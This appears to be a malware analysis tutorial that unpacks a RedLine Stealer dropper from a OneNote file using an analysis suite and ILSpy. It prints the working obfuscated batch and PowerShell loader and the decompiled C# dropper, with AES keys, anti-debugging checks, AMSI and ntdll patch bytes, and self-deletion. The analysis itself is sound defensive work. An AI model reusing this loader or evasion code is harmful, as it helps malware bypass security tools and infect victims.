RedLine Stealer Dropper

An interesting sample containing a number of different obfuscation techniques. In this article we analyze the dropper in detail and reach the final stage.

SHA256: 0B93B5287841CEF2C6B2F2C3221C59FFD61BF772CD0D8B2BDAB9DADEB570C7A6

The first file we encounter is a OneNote document. If the “OneNote Format” package is installed, all files are automatically extracted.

Among the extracted files there are two unidentified ones which are just Windows batch scripts.

We convert the data to text (Ctrl+R -> Conversion / Bytes to text).

The code of the batch scripts is obfuscated.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
@echo off
set "sMFb=set "
%sMFb%"UFbRmjLRRG=1."
%sMFb%"UwPAONnVOa=co"
%sMFb%"COdAYzdUBF=ll"
%sMFb%"ToDPGEsHPu= C"
%sMFb%"StQVmXXdbu=Po"
%sMFb%"ueTVKWMlnO=we"
%sMFb%"GTAKfFaJew="%~0."
%sMFb%"bgIMqeWlgi=in"
%sMFb%"sRkmhFTZTk=nd"
:: gpUJGV0UmogBpXJpjNr6mswTbRMbSjLzaCIgHlG36VZdfdnkweRkrCB1uF/LvTqM9wtzIUPivhAwiHEHBFv19iFB57OFRRGSiNnMUZlTORojmHEW7KARYxcA
etc.
@echo off set "sMFb=set " %sMFb%"UFbRmjLRRG=1." %sMFb%"UwPAONnVOa=co" %sMFb%"COdAYzdUBF=ll" %sMFb%"ToDPGEsHPu= C" %sMFb%"StQVmXXdbu=Po" %sMFb%"ueTVKWMlnO=we" %sMFb%"GTAKfFaJew="%~0." %sMFb%"bgIMqeWlgi=in" %sMFb%"sRkmhFTZTk=nd" :: gpUJGV0UmogBpXJpjNr6mswTbRMbSjLzaCIgHlG36VZdfdnkweRkrCB1uF/LvTqM9wtzIUPivhAwiHEHBFv19iFB57OFRRGSiNnMUZlTORojmHEW7KARYxcA etc.
@echo off
set "sMFb=set "
%sMFb%"UFbRmjLRRG=1."
%sMFb%"UwPAONnVOa=co"
%sMFb%"COdAYzdUBF=ll"
%sMFb%"ToDPGEsHPu= C"
%sMFb%"StQVmXXdbu=Po"
%sMFb%"ueTVKWMlnO=we"
%sMFb%"GTAKfFaJew="%~0."
%sMFb%"bgIMqeWlgi=in"
%sMFb%"sRkmhFTZTk=nd"
:: gpUJGV0UmogBpXJpjNr6mswTbRMbSjLzaCIgHlG36VZdfdnkweRkrCB1uF/LvTqM9wtzIUPivhAwiHEHBFv19iFB57OFRRGSiNnMUZlTORojmHEW7KARYxcA
etc.

So we use the “Simple Batch Emulator” package to emulate the code.

The emulator prints out the commands not being emulated.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
unsupported command: copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "%~0.exe"
unsupported command: cd "%~dp0"
unsupported command: "%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command $mcWPL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($jBqHb in $mcWPL) { if ($jBqHb.StartsWith(':: ')) { $qUflk = $jBqHb.Substring(3); break; }; };$AKzOG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($qUflk);$GTqqO = New-Object System.Security.Cryptography.AesManaged;$GTqqO.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GTqqO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GTqqO.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');$GTqqO.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JYh62EWEKCuIH7WrUJ0VdA==');$QTfFw = $GTqqO.CreateDecryptor();$AKzOG = $QTfFw.TransformFinalBlock($AKzOG, 0, $AKzOG.Length);$QTfFw.Dispose();$GTqqO.Dispose();$xVFCH = New-Object System.IO.MemoryStream(, $AKzOG);$qGLhv = New-Object System.IO.MemoryStream;$wRtOX = New-Object System.IO.Compression.GZipStream($xVFCH, [IO.Compression.CompressionMode]::Decompress);$wRtOX.CopyTo($qGLhv);$wRtOX.Dispose();$xVFCH.Dispose();$qGLhv.Dispose();$AKzOG = $qGLhv.ToArray();$VBqqY = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($AKzOG);$ReoQh = $VBqqY.EntryPoint;$ReoQh.Invoke($null, (, [string[]] ('%*')))
unsupported command: (goto) 2>nul & del "%~f0"
unsupported command: exit /b
unsupported command: copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "%~0.exe" unsupported command: cd "%~dp0" unsupported command: "%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command $mcWPL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($jBqHb in $mcWPL) { if ($jBqHb.StartsWith(':: ')) { $qUflk = $jBqHb.Substring(3); break; }; };$AKzOG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($qUflk);$GTqqO = New-Object System.Security.Cryptography.AesManaged;$GTqqO.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GTqqO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GTqqO.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');$GTqqO.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JYh62EWEKCuIH7WrUJ0VdA==');$QTfFw = $GTqqO.CreateDecryptor();$AKzOG = $QTfFw.TransformFinalBlock($AKzOG, 0, $AKzOG.Length);$QTfFw.Dispose();$GTqqO.Dispose();$xVFCH = New-Object System.IO.MemoryStream(, $AKzOG);$qGLhv = New-Object System.IO.MemoryStream;$wRtOX = New-Object System.IO.Compression.GZipStream($xVFCH, [IO.Compression.CompressionMode]::Decompress);$wRtOX.CopyTo($qGLhv);$wRtOX.Dispose();$xVFCH.Dispose();$qGLhv.Dispose();$AKzOG = $qGLhv.ToArray();$VBqqY = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($AKzOG);$ReoQh = $VBqqY.EntryPoint;$ReoQh.Invoke($null, (, [string[]] ('%*'))) unsupported command: (goto) 2>nul & del "%~f0" unsupported command: exit /b
unsupported command: copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "%~0.exe"
unsupported command: cd "%~dp0"
unsupported command: "%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command $mcWPL = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($jBqHb in $mcWPL) { if ($jBqHb.StartsWith(':: ')) {  $qUflk = $jBqHb.Substring(3); break; }; };$AKzOG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($qUflk);$GTqqO = New-Object System.Security.Cryptography.AesManaged;$GTqqO.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GTqqO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GTqqO.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');$GTqqO.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JYh62EWEKCuIH7WrUJ0VdA==');$QTfFw = $GTqqO.CreateDecryptor();$AKzOG = $QTfFw.TransformFinalBlock($AKzOG, 0, $AKzOG.Length);$QTfFw.Dispose();$GTqqO.Dispose();$xVFCH = New-Object System.IO.MemoryStream(, $AKzOG);$qGLhv = New-Object System.IO.MemoryStream;$wRtOX = New-Object System.IO.Compression.GZipStream($xVFCH, [IO.Compression.CompressionMode]::Decompress);$wRtOX.CopyTo($qGLhv);$wRtOX.Dispose();$xVFCH.Dispose();$qGLhv.Dispose();$AKzOG = $qGLhv.ToArray();$VBqqY = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($AKzOG);$ReoQh = $VBqqY.EntryPoint;$ReoQh.Invoke($null, (, [string[]] ('%*')))
unsupported command: (goto) 2>nul & del "%~f0"
unsupported command: exit /b

We open a new text view and paste the PowerShell code.

As the PowerShell code is obfuscated, we deobfuscate it using the “PowerShell Beautifier” package.

We don’t need variable replacement, so we leave that option unchecked.

The PowerShell beautifer not only deobfuscates the code, but also assigns to all the variables meaningful names.

The code is now easy to understand.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
$read_all_text_result = [System.IO.File]::ReadAllText('%~f0').Split([Environment]::NewLine);
foreach ($item in $read_all_text_result)
{
if ($item.StartsWith(':: '))
{
$substring_result = $item.Substring(3);
break;
};
};
$from_base64_string_result = [System.Convert]::FromBase64String($substring_result);
$aes_managed = New-Object System.Security.Cryptography.AesManaged;
$aes_managed.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$aes_managed.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$aes_managed.Key = [System.Convert]::FromBase64String('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');
$aes_managed.IV = [System.Convert]::FromBase64String('JYh62EWEKCuIH7WrUJ0VdA==');
$create_decryptor_result = $aes_managed.CreateDecryptor();
$transform_final_block_result = $create_decryptor_result.TransformFinalBlock($from_base64_string_result, 0, $from_base64_string_result.Length);
$create_decryptor_result.Dispose();
$aes_managed.Dispose();
$memory_stream = New-Object System.IO.MemoryStream(, $transform_final_block_result);
$memory_stream_2 = New-Object System.IO.MemoryStream;
$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, [IO.Compression.CompressionMode]::Decompress);
$gzip_stream.CopyTo($memory_stream_2);
$gzip_stream.Dispose();
$memory_stream.Dispose();
$memory_stream_2.Dispose();
$to_array_result = $memory_stream_2.ToArray();
$load_result = [System.Reflection.Assembly]::Load($to_array_result);
$entry_point = $load_result.EntryPoint;
$entry_point.Invoke($null, (, [string[]]'%*'))
$read_all_text_result = [System.IO.File]::ReadAllText('%~f0').Split([Environment]::NewLine); foreach ($item in $read_all_text_result) { if ($item.StartsWith(':: ')) { $substring_result = $item.Substring(3); break; }; }; $from_base64_string_result = [System.Convert]::FromBase64String($substring_result); $aes_managed = New-Object System.Security.Cryptography.AesManaged; $aes_managed.Mode = [System.Security.Cryptography.CipherMode]::CBC; $aes_managed.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $aes_managed.Key = [System.Convert]::FromBase64String('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4='); $aes_managed.IV = [System.Convert]::FromBase64String('JYh62EWEKCuIH7WrUJ0VdA=='); $create_decryptor_result = $aes_managed.CreateDecryptor(); $transform_final_block_result = $create_decryptor_result.TransformFinalBlock($from_base64_string_result, 0, $from_base64_string_result.Length); $create_decryptor_result.Dispose(); $aes_managed.Dispose(); $memory_stream = New-Object System.IO.MemoryStream(, $transform_final_block_result); $memory_stream_2 = New-Object System.IO.MemoryStream; $gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, [IO.Compression.CompressionMode]::Decompress); $gzip_stream.CopyTo($memory_stream_2); $gzip_stream.Dispose(); $memory_stream.Dispose(); $memory_stream_2.Dispose(); $to_array_result = $memory_stream_2.ToArray(); $load_result = [System.Reflection.Assembly]::Load($to_array_result); $entry_point = $load_result.EntryPoint; $entry_point.Invoke($null, (, [string[]]'%*'))
$read_all_text_result = [System.IO.File]::ReadAllText('%~f0').Split([Environment]::NewLine);
foreach ($item in $read_all_text_result)
{
    if ($item.StartsWith(':: '))
    {
        $substring_result = $item.Substring(3);
        break;
    };
};
$from_base64_string_result = [System.Convert]::FromBase64String($substring_result);
$aes_managed = New-Object System.Security.Cryptography.AesManaged;
$aes_managed.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$aes_managed.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$aes_managed.Key = [System.Convert]::FromBase64String('rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=');
$aes_managed.IV = [System.Convert]::FromBase64String('JYh62EWEKCuIH7WrUJ0VdA==');
$create_decryptor_result = $aes_managed.CreateDecryptor();
$transform_final_block_result = $create_decryptor_result.TransformFinalBlock($from_base64_string_result, 0, $from_base64_string_result.Length);
$create_decryptor_result.Dispose();
$aes_managed.Dispose();
$memory_stream = New-Object System.IO.MemoryStream(, $transform_final_block_result);
$memory_stream_2 = New-Object System.IO.MemoryStream;
$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, [IO.Compression.CompressionMode]::Decompress);
$gzip_stream.CopyTo($memory_stream_2);
$gzip_stream.Dispose();
$memory_stream.Dispose();
$memory_stream_2.Dispose();
$to_array_result = $memory_stream_2.ToArray();
$load_result = [System.Reflection.Assembly]::Load($to_array_result);
$entry_point = $load_result.EntryPoint;
$entry_point.Invoke($null, (, [string[]]'%*'))

The PowerShell code searches for a line starting with ‘:: ‘ in the output of the batch script. Then converts that line from base64, decrypts it using AES CBC, decompresses the decrypted data using GZip and finally loads the decompressed data as a .NET assembly.

So we select the base64 line skipping ‘:: ‘.

We convert the base64 to bytes.

We retrieve the key and IV of the AES, convert them from base64 and then to hex (in the hex view Copy -> Hex).

And use the “decrypt/aes” filter with a key length of 32 to decrypt the data.

We then select all the decrypted data, open the context menu and click on “Make selection a root file” to add a new root file to our current project. In the format dialog we select the GZip format (GZ).

The decompressed file is an executable which contains another file called “payload.exe”. This file is automatically extracted by Cerbero Suite from the .NET manifest resources. However, it is not recognized as an executable and so we guess that it is probably encrypted.

We can explore the MSIL code of the .NET assembly, but the code would be easier to read as decompiled C#.

So we save the decompressed executable to disk and open it with ILSpy.

The following is the complete decompiled C# code.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
// ZZQPHWIYvADFZjHmvZKI.iyxRPGYRPkXbdjnyAvJD
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using ZZQPHWIYvADFZjHmvZKI;
internal class iyxRPGYRPkXbdjnyAvJD
{
private delegate bool IgOkpazAMCNVDtrLruZu(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
private delegate bool irjkliDHCvdlsAXDyoyk(IntPtr hProcess, ref bool isDebuggerPresent);
private delegate bool JSxdYaZcqUtDBTLqWEYh();
[DllImport("kernel32.dll")]
private static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
private static void Main(string[] args)
{
string fileName = Process.GetCurrentProcess().MainModule.FileName;
File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System);
IntPtr hModule = LoadLibrary("kernel32.dll");
IntPtr procAddress = GetProcAddress(hModule, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
IntPtr procAddress2 = GetProcAddress(hModule, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
irjkliDHCvdlsAXDyoyk irjkliDHCvdlsAXDyoyk = (irjkliDHCvdlsAXDyoyk)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(irjkliDHCvdlsAXDyoyk));
JSxdYaZcqUtDBTLqWEYh jSxdYaZcqUtDBTLqWEYh = (JSxdYaZcqUtDBTLqWEYh)Marshal.GetDelegateForFunctionPointer(procAddress2, typeof(JSxdYaZcqUtDBTLqWEYh));
bool isDebuggerPresent = false;
irjkliDHCvdlsAXDyoyk(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
if (Debugger.IsAttached || isDebuggerPresent || jSxdYaZcqUtDBTLqWEYh())
{
Environment.Exit(1);
}
IntPtr procAddress3 = GetProcAddress(hModule, "VirtualProtect");
IgOkpazAMCNVDtrLruZu igOkpazAMCNVDtrLruZu = (IgOkpazAMCNVDtrLruZu)Marshal.GetDelegateForFunctionPointer(procAddress3, typeof(IgOkpazAMCNVDtrLruZu));
IntPtr hModule2 = LoadLibrary("amsi.dll");
IntPtr procAddress4 = GetProcAddress(hModule2, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("X6S4bPdO9bEc5JMhytQ97Q=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
byte[] array = (IntPtr.Size != 8) ? new byte[8]
{
184,
87,
0,
7,
128,
194,
24,
0
} : new byte[6]
{
184,
87,
0,
7,
128,
195
};
igOkpazAMCNVDtrLruZu(procAddress4, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect);
Marshal.Copy(array, 0, procAddress4, array.Length);
igOkpazAMCNVDtrLruZu(procAddress4, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
IntPtr hModule3 = LoadLibrary("ntdll.dll");
IntPtr procAddress5 = GetProcAddress(hModule3, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("aFO2dVfMnsC2dX4t3isGdg=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
array = ((IntPtr.Size != 8) ? new byte[3]
{
194,
20,
0
} : new byte[1]
{
195
});
igOkpazAMCNVDtrLruZu(procAddress5, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect);
Marshal.Copy(array, 0, procAddress5, array.Length);
igOkpazAMCNVDtrLruZu(procAddress5, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
string @string = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("eqU9WF/Q2uAyFap3vw7P9g=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
string string2 = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("ljEUT0uNy4Ar6FNzp9ikiQ=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string[] manifestResourceNames = executingAssembly.GetManifestResourceNames();
foreach (string name in manifestResourceNames)
{
if (!(name == @string) && !(name == string2))
{
File.WriteAllBytes(name, KnzOkitkGMWCwIFLYBnU(name));
File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
new Thread((ThreadStart)delegate
{
Process.Start(name).WaitForExit();
File.SetAttributes(name, FileAttributes.Normal);
File.Delete(name);
}).Start();
}
}
byte[] rawAssembly = YRjkDCBPWiLZphgbMGuF(ChLRwkWLsbZOITDACYZb(KnzOkitkGMWCwIFLYBnU(@string), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
string[] array2 = new string[0];
try
{
array2 = args[0].Split(' ');
}
catch
{
}
MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
{
entryPoint.Invoke(null, new object[1]
{
array2
});
}
catch
{
entryPoint.Invoke(null, null);
}
string string3 = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("yAq19rHi1jH5tbR+S4wvn2NMVvFuTfunmXwbSR/7Oj2vsk/HNr6wT2qCxgIuIt+u"), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")));
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.Arguments = string3 + fileName + "\" & del \"" + fileName + "\"";
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.CreateNoWindow = true;
processStartInfo.FileName = "cmd.exe";
Process.Start(processStartInfo);
}
private static byte[] ChLRwkWLsbZOITDACYZb(byte[] input, byte[] key, byte[] iv)
{
AesManaged aesManaged = new AesManaged();
aesManaged.Mode = CipherMode.CBC;
aesManaged.Padding = PaddingMode.PKCS7;
ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv);
byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length);
cryptoTransform.Dispose();
aesManaged.Dispose();
return result;
}
private static byte[] YRjkDCBPWiLZphgbMGuF(byte[] bytes)
{
MemoryStream memoryStream = new MemoryStream(bytes);
MemoryStream memoryStream2 = new MemoryStream();
GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
gZipStream.CopyTo(memoryStream2);
gZipStream.Dispose();
memoryStream2.Dispose();
memoryStream.Dispose();
return memoryStream2.ToArray();
}
private static byte[] KnzOkitkGMWCwIFLYBnU(string name)
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
MemoryStream memoryStream = new MemoryStream();
Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(name);
manifestResourceStream.CopyTo(memoryStream);
manifestResourceStream.Dispose();
byte[] result = memoryStream.ToArray();
memoryStream.Dispose();
return result;
}
}
// ZZQPHWIYvADFZjHmvZKI.iyxRPGYRPkXbdjnyAvJD using System; using System.Diagnostics; using System.IO; using System.IO.Compression; using System.Reflection; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; using System.Threading; using ZZQPHWIYvADFZjHmvZKI; internal class iyxRPGYRPkXbdjnyAvJD { private delegate bool IgOkpazAMCNVDtrLruZu(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); private delegate bool irjkliDHCvdlsAXDyoyk(IntPtr hProcess, ref bool isDebuggerPresent); private delegate bool JSxdYaZcqUtDBTLqWEYh(); [DllImport("kernel32.dll")] private static extern IntPtr LoadLibrary(string lpFileName); [DllImport("kernel32.dll")] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); private static void Main(string[] args) { string fileName = Process.GetCurrentProcess().MainModule.FileName; File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System); IntPtr hModule = LoadLibrary("kernel32.dll"); IntPtr procAddress = GetProcAddress(hModule, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")))); IntPtr procAddress2 = GetProcAddress(hModule, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")))); irjkliDHCvdlsAXDyoyk irjkliDHCvdlsAXDyoyk = (irjkliDHCvdlsAXDyoyk)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(irjkliDHCvdlsAXDyoyk)); JSxdYaZcqUtDBTLqWEYh jSxdYaZcqUtDBTLqWEYh = (JSxdYaZcqUtDBTLqWEYh)Marshal.GetDelegateForFunctionPointer(procAddress2, typeof(JSxdYaZcqUtDBTLqWEYh)); bool isDebuggerPresent = false; irjkliDHCvdlsAXDyoyk(Process.GetCurrentProcess().Handle, ref isDebuggerPresent); if (Debugger.IsAttached || isDebuggerPresent || jSxdYaZcqUtDBTLqWEYh()) { Environment.Exit(1); } IntPtr procAddress3 = GetProcAddress(hModule, "VirtualProtect"); IgOkpazAMCNVDtrLruZu igOkpazAMCNVDtrLruZu = (IgOkpazAMCNVDtrLruZu)Marshal.GetDelegateForFunctionPointer(procAddress3, typeof(IgOkpazAMCNVDtrLruZu)); IntPtr hModule2 = LoadLibrary("amsi.dll"); IntPtr procAddress4 = GetProcAddress(hModule2, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("X6S4bPdO9bEc5JMhytQ97Q=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")))); byte[] array = (IntPtr.Size != 8) ? new byte[8] { 184, 87, 0, 7, 128, 194, 24, 0 } : new byte[6] { 184, 87, 0, 7, 128, 195 }; igOkpazAMCNVDtrLruZu(procAddress4, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect); Marshal.Copy(array, 0, procAddress4, array.Length); igOkpazAMCNVDtrLruZu(procAddress4, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect); IntPtr hModule3 = LoadLibrary("ntdll.dll"); IntPtr procAddress5 = GetProcAddress(hModule3, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("aFO2dVfMnsC2dX4t3isGdg=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")))); array = ((IntPtr.Size != 8) ? new byte[3] { 194, 20, 0 } : new byte[1] { 195 }); igOkpazAMCNVDtrLruZu(procAddress5, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect); Marshal.Copy(array, 0, procAddress5, array.Length); igOkpazAMCNVDtrLruZu(procAddress5, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect); string @string = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("eqU9WF/Q2uAyFap3vw7P9g=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))); string string2 = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("ljEUT0uNy4Ar6FNzp9ikiQ=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))); Assembly executingAssembly = Assembly.GetExecutingAssembly(); string[] manifestResourceNames = executingAssembly.GetManifestResourceNames(); foreach (string name in manifestResourceNames) { if (!(name == @string) && !(name == string2)) { File.WriteAllBytes(name, KnzOkitkGMWCwIFLYBnU(name)); File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System); new Thread((ThreadStart)delegate { Process.Start(name).WaitForExit(); File.SetAttributes(name, FileAttributes.Normal); File.Delete(name); }).Start(); } } byte[] rawAssembly = YRjkDCBPWiLZphgbMGuF(ChLRwkWLsbZOITDACYZb(KnzOkitkGMWCwIFLYBnU(@string), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))); string[] array2 = new string[0]; try { array2 = args[0].Split(' '); } catch { } MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint; try { entryPoint.Invoke(null, new object[1] { array2 }); } catch { entryPoint.Invoke(null, null); } string string3 = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("yAq19rHi1jH5tbR+S4wvn2NMVvFuTfunmXwbSR/7Oj2vsk/HNr6wT2qCxgIuIt+u"), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))); ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.Arguments = string3 + fileName + "\" & del \"" + fileName + "\""; processStartInfo.WindowStyle = ProcessWindowStyle.Hidden; processStartInfo.CreateNoWindow = true; processStartInfo.FileName = "cmd.exe"; Process.Start(processStartInfo); } private static byte[] ChLRwkWLsbZOITDACYZb(byte[] input, byte[] key, byte[] iv) { AesManaged aesManaged = new AesManaged(); aesManaged.Mode = CipherMode.CBC; aesManaged.Padding = PaddingMode.PKCS7; ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv); byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length); cryptoTransform.Dispose(); aesManaged.Dispose(); return result; } private static byte[] YRjkDCBPWiLZphgbMGuF(byte[] bytes) { MemoryStream memoryStream = new MemoryStream(bytes); MemoryStream memoryStream2 = new MemoryStream(); GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress); gZipStream.CopyTo(memoryStream2); gZipStream.Dispose(); memoryStream2.Dispose(); memoryStream.Dispose(); return memoryStream2.ToArray(); } private static byte[] KnzOkitkGMWCwIFLYBnU(string name) { Assembly executingAssembly = Assembly.GetExecutingAssembly(); MemoryStream memoryStream = new MemoryStream(); Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(name); manifestResourceStream.CopyTo(memoryStream); manifestResourceStream.Dispose(); byte[] result = memoryStream.ToArray(); memoryStream.Dispose(); return result; } }
